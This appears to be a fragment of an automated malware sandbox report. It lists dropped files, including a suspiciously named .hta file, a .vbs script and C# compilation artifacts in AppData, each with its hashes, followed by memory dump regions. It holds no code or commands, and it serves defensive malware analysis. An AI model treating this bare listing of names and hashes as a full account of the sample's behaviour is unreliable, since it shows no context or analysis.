4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\uznrrmfpnjdelmsfbwv

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f523957a49c7cfb4df12f6c6151bf5a4

SHA1
470d00276de3a601747f6f752fb90308bccb25f2

SHA256
7515666c0c694a716eaa85a36269a7af69b4ce06d627a2393bff4e9386cd94c7

SHA512
ba688ee22c8df2ac5c4a2ccaba0cc7087c41c423337dff19fc2d85080a3cd5620c94cc49ecd4b82325607fa6d5edc7feb4674de213728ad3d7df7fc5ddfc0944

Download Submit
C:\Users\Admin\AppData\Roaming\ccukissmeplsgivrmebest.hta

Filesize
1.2MB

MD5
24d95803236fde4ee8ebfe4671dc28fe

SHA1
677e9c8b79a59b4fa3c8eab8fd318ae31dcd5d95

SHA256
986b693f564b364a2f69261f1f825d6a26afec8db9a3aa46fd2a964e45dc2a1c

SHA512
272adc89c2eedbfd065e3fa54edcb27211db44b998f3e5479cc53c6954c0b37db16e6d2eac0977c040068da07da651f8d9adc440d97e65bbdcb53afb0c4670a0

Download Submit
C:\Users\Admin\AppData\Roaming\nicegirlfrndgivenmebesnicegirlfrndgivenmebes.vbs

Filesize
205KB

MD5
0e3b19cc6060bed0436e01fe8bc04c44

SHA1
8b99c60c35d7650ed451e3996bcccb7e9f51b7cf

SHA256
35315b1e950898c156611a9074ea43debd10d09098b855e9bfba76eef6ec3d17

SHA512
ad3267ee13123bebd28cee00cb2e128f0bf6213520378b5a45aa9d31b858f140612e2e6aee5d62be3a187af7c004de10ae1f0930e8133dc71c93f011fbde29e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\2lbocpg5.0.cs

Filesize
486B

MD5
3b886b3aeeb8599b37fc0be4fe6ae9d8

SHA1
b6d0a2488bd50c1b7f96cae0e91bdc3a083a5a7e

SHA256
b1dece05fc9ac39567b6cd75ae891827264b7d3606d5996807f1e88840e2c33e

SHA512
ecc3d89869a074e00b7dbb0c3fbe07fd534cb2a100ef6280ffc3f02f66ace38526746761b216061e5d7d519f0b685a1b89a2f51c4e24d8ee900b77b949268458

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\2lbocpg5.cmdline

Filesize
309B

MD5
5dff01ab2719ef58d52bb5b865749468

SHA1
effef404e75ac5585a3595dfac1a0e250a858e7f

SHA256
f22c067403bcc7d7e870b95d240b7a1dbb22052f75411652a4e410b53d90d037

SHA512
1523f4fa19b331d1d5bbe19ae0bf4f80a0b74f5eefcb0176e3a1261c5299170c8c42f2a3a2f91a2ead496f2b8f94103004ae8260e07b77d568e576c6640c93ed

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCD75B.tmp

Filesize
652B

MD5
507722fffa8496a0ad97eb096f3ff4ec

SHA1
89258337f633a5033812c76d0161b4893a765449

SHA256
f6a3f923d468dd11fee9f255ebcb11577c62974431ac494a6e8a4bacb0e915de

SHA512
78fbbe916c9e6f99938dbd83dbca6f03ad4ccc3c73a0ab7642cd8cf48ab067efdc9568152c268ec0b5df69fd685fa2c9a7e017b7cc873d4973a1f8e422cb59f4

Download Submit
memory/2328-247-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2328-245-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2328-240-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2328-241-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2372-177-0x00000000057A0000-0x00000000057F8000-memory.dmp

Filesize
352KB

Download
memory/2372-178-0x0000000006390000-0x00000000063DF000-memory.dmp

Filesize
316KB

Download
memory/2380-165-0x0000000070E2D000-0x0000000070E38000-memory.dmp

Filesize
44KB

Download
memory/2380-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2380-2-0x0000000070E2D000-0x0000000070E38000-memory.dmp

Filesize
44KB

Download
memory/2380-0-0x000000002FAC1000-0x000000002FAC2000-memory.dmp

Filesize
4KB

Download
memory/2680-248-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2680-239-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2680-242-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2700-244-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2700-249-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2700-246-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2740-227-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-218-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-234-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-236-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-237-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-222-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-232-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-231-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-229-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-224-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-226-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2740-228-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-216-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-233-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-220-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-214-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-255-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2740-258-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2740-259-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2740-260-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-261-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-262-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-263-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-264-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-265-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-266-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-267-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/2740-268-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download